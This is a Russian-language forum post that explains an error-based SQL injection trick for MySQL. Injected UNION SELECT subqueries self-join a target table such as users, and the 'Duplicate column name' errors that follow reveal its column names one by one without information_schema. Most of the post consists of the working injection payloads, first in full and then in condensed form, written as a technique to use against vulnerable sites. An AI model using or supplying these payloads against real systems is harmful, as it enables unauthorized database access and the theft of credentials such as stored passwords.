Ещё 1 способ узнать имена колонок без использования information_schema в MySQL5 (нашёл 25.02.2009, спасибо Грею, за то что проверил у себя и всем, кого мучал вопросами).
У меня есть таблицы:
news(id,title,date)
users(id,name,passwd,is_admin)
Допустим мы имеем скуль:
SELECT * FROM `news` WHERE id =
[SQL]
Хотим узнать имена столбцов в таблице users. Делаем это так:
Шлём запрос:
Код:
SELECT * FROM `news` WHERE id = -1 UNION SELECT * FROM users, (SELECT * FROM `users` CROSS JOIN (select * from users) as b ON 1=1)a
Возвращает ошибку:
#1060 - Duplicate column name 'id'
Кстати можно использовать любой вариант JOIN'а, не обязательно CROSS JOIN, просто перебирая варианты он оказался последним.
(А вот после этого пришлось помучатся, благо в MySQL обнаружилась конструкция
USING(), далее всё внимание на неё)
Тогда шлём запрос:
Код:
SELECT * FROM `news` WHERE id = -1 UNION SELECT * FROM users, (SELECT * FROM `users` CROSS JOIN (select * from users) as b USING(id))a
Возвращает:
#1060 - Duplicate column name 'name'
Тогда шлём:
Код:
SELECT * FROM `news` WHERE id = -1 UNION SELECT * FROM users, (SELECT * FROM `users` CROSS JOIN (select * from users) as b USING(id,name))a
Возвращает:
#1060 - Duplicate column name 'passwd'
И т.д., когда переберём все столбцы, вернётся:
#1222 - The used SELECT statements have a different number of columns
З.Ы.
Если удалить всё ненужное, то получатся запросы:
Код:
-1 UNION SELECT * FROM (SELECT * FROM users JOIN users b)a
Код:
-1 UNION SELECT * FROM (SELECT * FROM users JOIN users b USING(id))a
Вариантов избавиться от подзапросов пока не вижу

__________________
Я отдал бы немало за пару крыльев,
Я отдал бы немало за третий глаз
За руку на которой четырнадцать пальцев
Мне нужен для дыхания другой газ..
Мой блог:
http://qwazar.ru/.